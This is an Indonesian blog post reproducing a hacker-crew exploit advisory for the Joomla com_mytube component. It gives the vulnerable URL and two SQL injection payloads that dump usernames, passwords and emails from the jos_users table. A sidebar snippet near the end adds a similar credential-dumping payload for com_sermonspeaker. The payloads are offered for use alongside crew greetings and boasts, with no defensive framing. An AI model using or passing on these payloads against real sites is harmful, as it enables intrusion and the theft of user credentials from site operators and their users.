Joomla component com_mytube (user_id) Blind SQLi Vulnerability

[!]========================================[!]

#Joomla Component com_mytube SQLi Vulnerability (id)
#Author     : r3m1ck(r3m1ck@hackermail.com)
#Homepage: http://www.r3m1ck.uni.cc/
#Date     : 6 Desember, 2009

[!]========================================[!]

[ Software Information ]

#Application   : MyRemote Video Gallery
#version       : 1.0 Beta
#Developer     : Jomtube Team
#License       : GPL            type  : Non-Commercial
#Date Added    : Aug 24, 2009
#Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip

[!]========================================[!]
[ Vulnerable File ]

http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=[U3D-Crew]&option=com_mytube&Itemid=r3m1ck

[ XpL ]

69+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat
(username,0x3a,password,0x3a,email,0x3c62723e),14,15,16,17,18,19,20,21,
22,23,24,25,26+from+jos_users--&option=com_mytube&Itemid=r3m1ck

69/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,GROUP_CONCAT
(username,0x3a,password,0x3a,email,0x3c62723e),14,15,16,17,18,19,20,21,
22,23,24,25,26/**/FROM/**/jos_users--&option=com_mytube&Itemid=r3m1ck

[!]========================================[!]
[ Thx To ]

[+] U3D Crew | INDONESIAN CODER TEAM | Indonesian Hacker |
[+] otong,elisha,god~of~cats,bl4ck_f4d3,s1mb4h and all U3D Crew
[+] tukulesto,M3NW5,kaMtiEz,n4ck0,ibl13z,bobyhikaru,gonzhack
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue-,L0l1ds,bumble_be


[ NOTE ]

[+] Napa seh forum cyber di INDO pada berantem... ayo kita bersatu.. bersatu kita teguh bercerai kita runtuh!!
[+] emak babe ade... maap r3m1ck blm bisa nyari uang sendiri T_T
[+] IchaQcayang : ayo lanjotkan usaha kita cin buat meraih cita !!! luph U

[ QUOTE ]

[+] U3D crew was here !!!!!
[+] nothing secure .. nothing is impossible

Komentar

Posting Komentar

Silahkan tinggalkan komentar anda di sini...
makasih ya uda kasih komentar...
sering - sering maen sini ya...
No SaRa, No PoLiTiCs, No SPaMMiNG!!!

Postingan populer dari blog ini

PEDOMAN DAN INSTRUMEN PENILAIAN KINERJA KEPALA SEKOLAH

PEDOMAN DAN INSTRUMEN PENILAIAN KINERJA KEPALA SEKOLAH DI LINGKUNGAN PEMERINTAH KABUPATEN KEBUMEN I. PENDAHULUAN A. DASAR 1. Undang-Undang Nomor 43 Tahun 1999 tentang Perubahan Atas Undang-Undang Nomor 8 Tahun 1974 tentang Pokok Pokok Kepegawaian ; 2. Undang-Undang Nomor 20 Tahun 2003 Tentang Sistem Pendidikan Nasional; 3. Undang-Undang Nomor 10 Tahun 2004 Tentang Pembentukan Peraturan Perundang-undangan; 4. Undang-Undang Nomor 32 Tahun 2004 Tentang Pemerintahan Daerah. 5. Keputusan Menteri Pendidikan Nasional Nomor 162/U/2003 tentang Pedoman Penugasan Guru sebagai Kepala Sekolah. 6. Rambu-rambu penilaian Kinerja Sekolah oleh Direktur Jenderal Pendidikan Dasar dan Menengah tanggal 15 Oktober 1999. 7. Rambu-rambu Penilaian Kinerja Sekolah oleh Direktur Jenderal Pendidikan Dasar dan Menengah tanggal 1 September 2000. 8. Keputusan Bupati Kebumen Nomor ..... Tahun 2006 tentang Penugasan Guru Pegawai Negeri Sipil yang diberi tugas tambahan sebagai Kepala Sekolah di Lingkungan Peme
Baca selengkapnya

Sejarah SMA N 2 Kebumen

Sejarah SMA N 2 Kebumen Sebagaimana termuat dalam pembukaan UUD 1945, bahwa salah satu tujuan Negara Indonesia adalah mencerdaskan kehidupan bangsa. Untuk dapat mewujudkan hal tersebut perlu adanya sarana dan prasaranapendukug demi tercapainya tujuan tersebut. Upaya yang bisa ditempuh antara lain dengan penyediaan sarana pendidikan sebagai wahana pencerdasan dan pendewasaan bangsa. Seiring dengan bertambahnya penduduk khususnya kabupaten Kebumen,maka kebutuhan akan penyediaan sarana pendidikan yang berupa sekolah sangat diperlukan, khususnya untuk wilayah perkotaan. Hal itu mengngat bahwa di wilayah perkotaan baru ada 1(satu) Sekolah Menengah Atas, yaitu SMA Negeri Kebumen. Untuk Kabupaten Kebumen pada tahun 1987 terdapat 5 (lima) Sekolah Menengah Atas yang tersebar di 5(lima)kecamatan, yaitu: 1.SMA Negeri Kebumen, berdiri tanggal 1 Agustus 1958 2.SMA Negeri Gombong, berdiri tanggal 16 Agustus 1965 3.SMA Negeri Prembun, berdiri tanggal 9 Agustus 1982 4.SMA Negeri Kutowinangun, be
Baca selengkapnya

Component com_sermonspeaker SQLi

# Title:Joomla Component com_sermonspeaker SQL Injection Vulnerability # Author: SadHaCkEr # Data  : 2010-04-12   [~] Vulnerable  :    http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL]    [~] ExploiT         :    -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/    [~] Example         :    http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id= -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/
Baca selengkapnya